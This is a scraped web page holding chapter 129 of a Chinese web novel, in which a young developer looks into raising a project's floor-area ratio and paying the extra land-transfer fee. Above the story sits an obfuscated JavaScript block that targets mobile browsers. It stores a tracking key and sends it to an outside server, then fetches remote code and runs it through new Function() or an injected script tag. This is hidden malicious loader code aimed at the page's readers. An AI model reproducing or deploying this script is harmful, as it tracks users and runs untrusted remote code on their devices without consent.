足迹
我真不想努力了方飞浪
登录
关灯
护眼
字体:

第129章 土地出让金(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

高层普通住宅,容积率到二都算良心开发商了。

后滩千禧滨江城身为商住房项目,只有一点六出头的容积率,真的太少,这是由于当年地价便宜的缘故,符合当年市场潮流。

二十四万平米左右的土地,建筑面积还不到四十万平方米,以至于规划中楼距极大,大到挤一挤还能再放下几栋楼,范连城第一次去考察时候就发现了这点,除此之外公摊也不大。

严老板等人没想过修改设计方案,原因挺多,一是资金不足,二是连一期都卖不出去,懒得再投钱进去,从没跟范连城一样,在这方面动过心思。

范连城也没有项目必然成功的信心,只想着容积率能多点,肯定比少了更好,哪怕意味着多缴纳部分土地出让金。

要是真能合法在这块土地上多建造些房子,代表着哪怕找人接盘转手出让,也能对外多卖点钱。

至于究竟多多少,概念不清晰。

反正只要能把容积率提高到三以上,至少能从中挣个两三亿人民币,一旦能成,可不就是捡漏了。

即使不打包出售,自己留着开发,多上千套房子和少上千套房子,里面差别悬殊,可都是钱。

按耐不住这点小心思,没等老冯问完旁人,范连城自己先上网查找起相关资料。

进入几个网页后看见条评论,上面详细注明说得到许可后可以变更容积率,连补交土地出让金的公式都注明出来。

原文写道:“调整国有土地使用权出让金额,应当根据批准改变用途等土地使用条件时的土地市场价格水平,按下式确定:

应当补缴的土地出让金额=批准改变时的新土地使用条件下,土地使用权市场价格—(减)批准改变时原土地使用条件下,剩余年期土地使用权市场价格。”

等于是评估改变前和改变后的差价。

这让范连城开始纠结,搞不清是怎么个算法,想着还是应该找个懂行的问问才行。

索性拿起手机,打电话问老冯跑到哪里问人去了,得知是在项目部那边,范连城也放下手头的活赶过去。

一路上不断有人跟他打招呼,范连城则忙着算账,想着后滩千禧滨江城销售数据那么惨,都处在烂尾边缘了,怎么着也不该把价值往高了算吧。

如果有利可图还好,如果是楼面价太高,那就没必要了,惋惜于想钻漏洞果然不太容易。

平日里很少到其他楼层串门,一般有事都是部门主管上楼找他,来到项目部,也就是冯大发升职前的部门后,几位姑娘们瞧见他都看傻了。

年少多金,长相又不差,可不就是她们最喜欢的那类男人,有热情的急忙上前搭话,问他要找谁。

范连城看见老冯了。

随手一指,笑着说过来有事......

问完修改设计方案的事,懂行的主管坦言这事有点难处理。

哪怕运气好成功了,补交土地出让金的具体数目也难说,缴多缴少、怎么缴,都要看如何跟相关部门商谈交涉。

找个地方坐下聊,范连城要了杯咖啡,花点时间跟项目部的人详细交流完,总结出些要点。

比如户口和企业所在地方面的因素,终于能够派上点用场,还有就是世博会即将到来、主要打算用于租赁、接盘失败项目等等,都能拿到桌面上来做文章。

试想,万一项目凉了,未来周边大片土地还怎么卖?还有距离世博会主场馆那么近,到时烂尾楼落在旁人眼里,别人怎么想?

普通人没机会谈这些,很多时候只是跟着官方规定走,但到范连城这种地位后,只要在规定允许内,许多事情其实都可以商量。

项目黄了就是黄了,对双方都没好处。

而土地出让金能带来价值,建造房子能带来价值,增值、企业所得、房屋交易等也能带来价值,更别提还带动了相关产业、就业等等,这些可都是看得见的好处。

没人们想象中古板,这些都能谈,越是精明的商人越精通此道,本质上应该说是共赢,正儿八经的买卖,毕竟范连城可都是真金白银投出去,拉动了经济发展,没少将外面资金往里带,跟那些坑蒙拐骗的家伙们不一样。

已经能肯定的是,即使成功重签土地交易合同,新增的楼面价多半不会便宜到哪去,关键在于哪怕每平米只比市场价便宜两百块,考虑到可能新增二三十万平米建筑面积,还不计算公摊,那也等于数千万甚至上亿的利润。

值得认真对待。

这种重任范连城不敢交给老冯,打算先到自家老头那边取取经,然后再决定怎么处理。

到了下班时间后,范连城就果断下楼走人了。